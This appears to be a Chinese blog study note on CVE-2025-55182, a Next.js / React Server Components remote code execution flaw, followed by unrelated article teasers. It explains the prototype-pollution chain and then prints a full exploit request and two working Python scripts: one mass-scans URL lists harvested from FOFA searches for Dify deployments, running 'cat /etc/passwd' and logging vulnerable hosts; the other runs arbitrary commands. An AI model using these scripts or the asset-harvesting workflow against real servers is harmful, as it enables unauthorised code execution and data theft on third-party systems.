news 2026/2/4 2:04:55

[学习笔记] CVE-2025-55182漏洞学习

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[学习笔记] CVE-2025-55182漏洞学习

发布的第一篇博客说希望自己两天一发以督促学习,还是有点大言不惭了😭

文章的创作动机是想重新梳理对CVE-2025-55182的理解,一开始思考的不够深入,所以今天再来整理一遍。因为自己的前置知识少,所以内容里对很多浅显道理的描述比较繁琐。

参考:

先知社区React4Shell 漏洞分析 (cve-2025-55182)

赛博知识驿站公众号

前置知识

RSC(React Server Components) 服务

React 的新特性,使组件可以在服务器上执行并直接访问数据库等后端资源。服务器只把这些组件的渲染结果用 React Flight Payload 发送给浏览器,而不是发送组件代码本身,从而显著减少前端 JS 体积并加快首屏加载。浏览器与服务器之间通过 Flight 协议交换 UI 的描述数据。

thenable

Thenable 就是“能够在完成后继续执行下一步的东西”,是一种异步对象的标准接口,它通过then(resolve)方法来通知调用者 “异步操作何时完成,以及完成后的结果是什么”

异步(Asynchronous)的核心是 非阻塞执行,同时进行多个任务。在发起耗时操作(例如网络请求、文件读写、数据库查询等)后,不等待结果返回,继续执行后续代码,等耗时操作完成后再 “回调” 处理结果。

如果一个 thenable 的then(resolve)里 再次返回另一个 thenable,javaScript 引擎会继续对这个新的 thenable 执行 相同的解析流程,再次调用它的.then(),一层套一层,一直解析到最终不是 thenable 为止。

提供三点简单的原型链的基础知识,帮助理解这里的then方法为什么能够被await调用到

  1. 通过 new 类名() 创建的实例,(ImageLoader)就会自动 “链接” 到该类的原型对象(ImageLoader.prototype)上,从而能访问 / 继承原型上的所有属性和方法

  2. new 类名()创建实例时,默认返回这个类的实例,从而能访问 / 继承原型上的所有属性和方法

  3. 直接写在类内部的方法(非static、非构造函数),如这里的then(resolve, reject)会被自动挂载到类的原型对象上

SRC如何执行

Next.js 默认支持 RSC 请求识别,并会根据特殊 Header(如Next-Action)执行不同的 server Action

例如这个检测payload:

因为next.js没有严格限制只有框架内部的请求才能触发server action,所以它仿照格式进行了伪造

检测漏洞的请求通过以下请求头结构:

  • Next-Action x 表明是Server action请求

原理:

Next.js 在编译时会给每个 Server Action 生成唯一的 actionId。客户端调用 Server Action 时,会自动将 actionId 设置到 Next-Action header 中。服务端收到请求后,根据 header 中的next-action判断是否为 Server Action 请求。

  • Router State Tree 只要符合JSON格式,就能到下一步:解析body里传的数据的阶段

  • Content-Type:mutipart/form-data格式(对应编码器decodeReplyFromBusboy),其他格式对应(decodeReply)

在一个接收formdata表单数据,查询,再返回查询到的内容的过程里,整个过程在服务端执行,结果通过 React Flight 协议(RSC payload)流式传输给浏览器。

React Flight Protocol 是 React 用于在客户端和服务器之间传输数据的二进制协议。它使用特殊的前缀符号(以$开头)来表示不同的数据类型和引用。对这个漏洞chunk的理解需要先掌握如下4个。

符号含义编码示例解码结果使用场景
$@Chunk 引Promise"$@1"getChunk(response, 1)异步数据、Promise
$KFormData 引用FormData"$K1"从 FormData 提取 ID=1表单数据、文件上传
$BBlob 引用Blob"$B1"response._formData.get("1")二进制数据、图片
$QMap 对象Map"$Q1"new Map(...)Map 数据结构

multipart/form-data被decode的具体流程

decodeReplyFromBusboy()解码函数, 其内部创建了一个 response 对象,并且注册了 busboy 的事件监听器,当busboySteam 收到数据时就会自动触发resoveField(),decode 返回了一个 Chunk 对象,这个对象一定是一个 thenable 的,当 chunk 返回后会await又会自动调用它的 then 方法。(这两步都是因为因为 nextJS 使用了await decodeReplyFromBusboy()来等待他的结果,重点是await)

debug数据里能看到,chunk的status是pending。同时得知chunk需要具备四个值:

status,value,reason和_response

由图 可知由resolved_model状态才会触发initializeModelChun(chunk),然后才能status=fulfilled,才触发resolve()

一开始状态为pending是无法调用的

但是在下面的 busy Steam 的监听器函数里:

这个babystream的监听器一收到数据就会触发resolvedField(),在其中继续触发resolveModelChunk(),这里的pending就变成了resolved_model状态,并且直接触发initializeModelChun(chunk)

initializeModelChunk将 chunk 中的 JSON 字符串解析为 JavaScript 对象,receiveModel递归处理 $开头的特殊标记,并唤醒等待的 await 。这也是 POC 构造的重要触发点,利用递归和特殊引用来达到恶意方法执行

漏洞分析

现在来分析漏洞。看 POC 的构造,同样使用的是multipart/form-data格式, 并且在 header 中设置了一个不存在的Next-Action, NextJS 收到这个请求后就会当作 server Action 来处理,并且使用decodeReplyFromBusboy对请求包进行解码.

Next-Action: x X-Nextjs-Request-Id: 51fe50ef2a379133 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye12x8j2O X-Nextjs-Html-Request-Id: 2344e891bc6a0657004928128530dc287d17a91 Content-Length: 499 ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "process.mainModule.require('child_process').execSync('id');", "_chunks": "", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundarye12x8j2O--

由于在对 json 字符串进行递归解析时, 对 $ 开头的字符会当作特殊的引用处理

这里的_proto_:then就是拿到原型链上的then方法的意思

实际上,因为构造$@0的逻辑就是想调用chunk的then方法,不用绕圈去调用chunk原型链的then方法

所以这样写也能成功:$1:then

在首轮解析处理过后

name=1 $@0 对 chunk 对象的引用。

name=0,这里调用了原型链上的then方法,=> chunk.prototype.then

此时外部 await 发现存在一个 then 方法,并且就是指向 chunk.then,由于这里面的 status 我们定义为 resolved_model,所以会直接调用 initializeModelChunk 进行递归解析,解析到$B的时候依照十六进制处理数据存为obj,并且把处理后的结果填入response._formData.get("response._prefix+obj")

又因为这里的get被污染,变成function

_formData.get => Function 的构造函数。

reviveModel是 Next.js/React Server DOM 中 “把序列化数据还原为 JS 对象” 的函数.通过其对constructor的处理,把恶意代码还原成可执行的函数,这是漏洞触发的关键。

constructor是 JS 中对象的内置属性,指向 “创建这个对象的构造函数”。

$1:constructor:constructor表示 “获取这个对象的constructor属性的constructor”—— 最终会解析为Function构造函数(因为所有构造函数的constructor都是Function,比如FormData.constructor === Function

因为value => {"then":"$B1337",所以response._formData.get("response._prefix+obj")最终作为$B解析后的结果传给then方法。then方法在第二次解析后就变成了匿名函数function anonymous()

由于这里的then指向的是一个function而不是字符串,所以外部await收到解析结果后会发现还有then方法,继续对then方法进行调用。而因为这里的then方法正是恶意函数,在第三轮执行的时候直接触发了恶意的函数执行,从而导致RCE

FOFA资产搜集

语句:app="Dify"

还有一些老师给别的语句用于参考:(其中一些语句漏洞刚出的时候比较好用)

把搜集到的导出成excel表格再复制粘贴进一个urls.txt就可以进入后续查找漏洞了

ps:搜集漏洞时,建议别用enfofa,用fofa

一些错误的尝试:

因为一开始觉得开发使用rsc是新的app router模式,所以fofa里搜索语句最先用的body="self._ next_f",并且认为不能用page router对应的 body=" _ NEXT_ DATA _"

事实上新react都支持server action,无论开发用不用 rsc,服务器都支持 rsc。

脚本分析

1.poc.py
# /// script # dependencies = ["requests"] # /// import requests import sys import json import argparse import urllib3 # Disable warnings for insecure requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_url(url, command="cat /etc/passwd"): print(f"Checking {url}...") crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", # If you don't need the command output, you can use this line instead: # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, }, } files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), } headers = {"Next-Action": "x"} try: # verify=False to ignore SSL certificate errors res = requests.post(url, files=files, headers=headers, timeout=10, verify=False) if "root" in res.text: print(f"[+] Vulnerable: {url}") with open("vulns.txt", "a") as f: f.write(url + "\n") else: print(f"[-] Not vulnerable: {url}") # print(res.text) except Exception as e: print(f"[-] Error checking {url}: {e}") def main(): parser = argparse.ArgumentParser(description="CVE-2025-55182 POC") parser.add_argument("url", nargs="?", help="Single URL to check") parser.add_argument("command", nargs="?", default="cat /etc/passwd", help="Command to execute") parser.add_argument("-f", "--file", help="File containing list of URLs") args = parser.parse_args() if args.file: try: with open(args.file, "r", encoding='utf-8', errors='ignore') as f: urls = f.read().splitlines() for url in urls: url = url.strip() if url: if not url.startswith("http"): url = "http://" + url check_url(url, args.command) except FileNotFoundError: print(f"File not found: {args.file}") elif args.url: check_url(args.url, args.command) else: parser.print_help() if __name__ == "__main__": main()

比起用全局脚本,用id指令通过回显去判断漏洞的github开源脚本https://github.com/msanft/CVE-2025-55182,poc.py构造了check url函数,-f 实现批量url读取;执行cat /etc/passwd指令;防止脚本中断,禁用SSL警告;把得到的vulnerable urls保存在txt里。

2. exp.py

增加了在127.0.0.1:8080端口代理功能

# /// script # dependencies = ["requests"] # /// import requests import sys import json BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000" EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id" crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", # 如果你不需要命令输出,可以使用下面这行(盲执行): # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, }, } files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), } headers = {"Next-Action": "x"} # 配置代理 proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", # 注意:即使目标是 HTTPS,Burp 默认也用 HTTP 代理 } try: res = requests.post( BASE_URL, files=files, headers=headers, proxies=proxies, timeout=10, verify=False # 如果目标是 HTTPS 且你用的是 Burp 的自签名证书,可避免 SSL 报错 ) print("Status Code:", res.status_code) print("Response Body:\n", res.text) except requests.exceptions.RequestException as e: print("Request failed:", e)

补充:

在另外的一个脚本中,除了采用 [307, 302] 响应头检测,还采用了从正则响应里观察关键字,如下

这样的判断方法只要有admin,user就判断是可能的漏洞的话,会找到一堆登录界面。。😭

最后实现RCE

注意:bp抓包记得勾选follow redirection

由于poc里throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});这句代码,会利用nextjs的特殊处理逻辑,进行重定向并且将错误响应放在重定向页面里,不开重定向只会显示307 Temporary Redirect。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/4 5:42:17

分库分表,可能真的要退出历史舞台了。。

点击关注公众号,Java 干货及时推送↓推荐阅读:今年的 Java 后端行情太逆天了。。作者:蚊子squirrel来源:https://www.jianshu.com/p/9131edd8fd2c最近与同行科技交流,经常被问到分库分表与分布式数据库如何选择&#x…

作者头像 李华
网站建设 2026/2/3 20:29:23

基于单片机的井下安全监测系统(有完整资料)

资料查找方式:特纳斯电子(电子校园网):搜索下面编号即可编号:T4572309M设计简介:本设计是基于单片机的井下安全监测系统,主要实现以下功能:可通过OLED显示温度、风速、PM2.5、瓦斯的…

作者头像 李华
网站建设 2026/2/3 18:21:18

蓄电池状态监测系统设计(有完整资料)

资料查找方式:特纳斯电子(电子校园网):搜索下面编号即可编号:T4642309M设计简介:本项目是蓄电池状态监测系统设计,主要实现以下功能: 1、对充电电压、充电电流和温度进行监测&#x…

作者头像 李华
网站建设 2026/2/3 3:16:43

低代码开发,企业应用搭建的新捷径

一、开头你知道吗?传统的企业应用开发往往需要耗费大量的时间和人力成本,而现在,低代码开发的出现彻底改变了这一局面,让企业应用搭建像搭积木一样简单!二、主体部分(一)低代码开发的优势1. **提…

作者头像 李华
网站建设 2026/2/3 3:11:38

如何选择适合企业的OA系统

一、引言在当今数字化时代,企业的信息化升级已成为提升竞争力的关键。而OA系统作为企业办公自动化的核心工具,正逐渐开启高效办公的新时代。你知道吗?一个高效的OA系统能够极大地提高企业的工作效率、降低成本、提升管理水平。那么&#xff0…

作者头像 李华
网站建设 2026/2/3 17:06:03

城市治理的“未来模拟器”:疾风大模型如何为海绵城市与通风廊道规划提供气候推演沙盘?

当千年一遇的暴雨在郑州重现期缩短为百年一遇,当重庆连续45天高温打破历史纪录,中国城市正面临气候适应性的严峻考验。传统的城市规划依赖历史气候数据,而疾风大模型正在创建一个全新的决策范式——在图纸阶段就能预见未来30年气候场景下的城…

作者头像 李华